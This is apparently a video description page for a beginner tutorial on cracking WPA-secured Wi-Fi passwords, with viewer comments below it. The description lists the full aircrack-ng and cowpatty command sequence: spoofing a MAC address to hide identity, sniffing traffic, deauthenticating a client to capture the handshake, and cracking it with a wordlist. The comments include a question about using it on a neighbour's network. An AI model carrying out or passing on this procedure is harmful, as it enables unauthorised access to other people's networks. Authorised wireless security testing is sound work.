How To Hack Wireless Networks (WPA - Windows/Linux) - Part 1

This is very easy(Noob-Friendly) yet detailed tutorial on how to hack WPA-Secured wireless network passwords. This video shows how to do it on a Windows OS(XP, Vista, 7) or a Linux OS.

There are two reasons why I used a virtual OS rather then running the cracking tool locally in a Windows environment; 1 - I want this tutorial to assist not only Windows-Users but also Linux-Users and 2 - Compatibility issues are very common with airmon-ng when using in the Windows Environment and will not only limit the amount of people who are able to do it but also complicate the procedure for beginners.


- Commands Used:

airmon-ng
(Shows connected network adapters/devices)

macchanger -s [INTERFACE]
(Shows our current Mac Address)
macchanger -m [DESIRED MAC] [INTERACE]
(Spoofs our Mac Address to hide our identity)

airodump-ng [INTERFACE]
(Shows available networks on your network adapter)

airodump-ng --bssid [Mac of Router] -w [FILENAME] -c [CHANNEL] [ADAPTER]
(Writes intercepted/sniffed IV's to a CAP document. The bssid specifies the Mac Address of the Access Point you are wanting to crack so the Mac Address should differ from what I use. The Channel may also differ depending on what's displayed for you. Same goes for the network adapter. This will only be useful if a Handshake is done)

aireplay-ng -0 15 -a [MAC OF ROUTER] -c [MAC OF SYSTEM ON NETWORK] [ADAPTER]
(Deauthenticates client and obtains a handshake)

aircrack-ng -e [ESSID - Name of network] -w [WORDLIST] [FILENAME.cap]
(References the hash obtained during the Hand-Shake with a specified wordlist.)

cd /pentest/wireless/cowpatty/
(To change to the CowPatty directory)

./genpmk -s [ESSID - Name of network] -f [WORDLIST] -d [FILENAME]
(Creates a Hash-Table specific to the ESSID)

./cowpatty -s [ESSID - Name of network] -d [HASH FILENAME] -r [FILENAME.cap]
(Attempts to crack the password using the generated Hash-Table)


- Download Links:

Wordlists:
http://tinyurl.com/ykdly9p

VMWare Player:
http://www.vmware.com/products/player/

BackTrack Image:
http://www.backtrack-linux.org/downloads/

- Driver Support Information

Airmon-ng:
http://www.aircrack-ng.org/doku.php?id=compatibility_drivers

Backtrack:
http://backtrack.offensive-security.com/index.php/HCL:Wireless

Enjoy!

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[YourPlanetHere]

@HeliosFire9ll I had this problem, my wireless card wasn't working on Linux. If it's USB, try lsusb in a terminal and you will see the list of usb devices recognised by BT5. If it comes up on that list, it's a driver/firmware issue. If it doesn't, could be a usb issue so try it in another slot and then use lsub

Mine is a realtek 8192su and these are always problematic on Linux.

Try googling Linux and your wireless card to see if there any solutions. Failing that message me and I can help =)

[SkaterJetro]

dont have own internet....need to watch porn or the walking dead =(

[HeliosFire9ll]

A question for the uploader, I tried typing airmon-ng in my console for BT5 but it displayed nothing for my interface and my chipset. What is wrong?

[EventHorizon420]

does this only work on "victim" that is in your wireless network, or can i hack into my neighbors wireless network?

[andybriggs03]

mushroom headbanger

[sub1g]

what are the consequences , and whether there are any? :)

[Sinful913]

I didnt feel like it was too "doob" friendly, I was lost man.........*puff*.......*coug­h*cough*..........oh wait a sec...that said "noob". Still didnt quite get how to do it all.

[tysoncobb420]

nerd

[EdMarksbury]

@EDULIVE1 Funny viewing material for a hard core christian?!?!? Unless the catholic church wants to pen test peoples souls

[EdMarksbury]

@MrLazydog21 Your using a Virtual Machine right? Like VMware or Virtual Box. If so you need a USB network card in order for BT5 to recognize it. If you want a new one it is going to be around 30 dollars. Or you can find a used one. Do this. Google "wusb54gc". Click on the Google" shopping tab. Thats it. Make sure you get wusb54gc and not wusb54gx or anything else.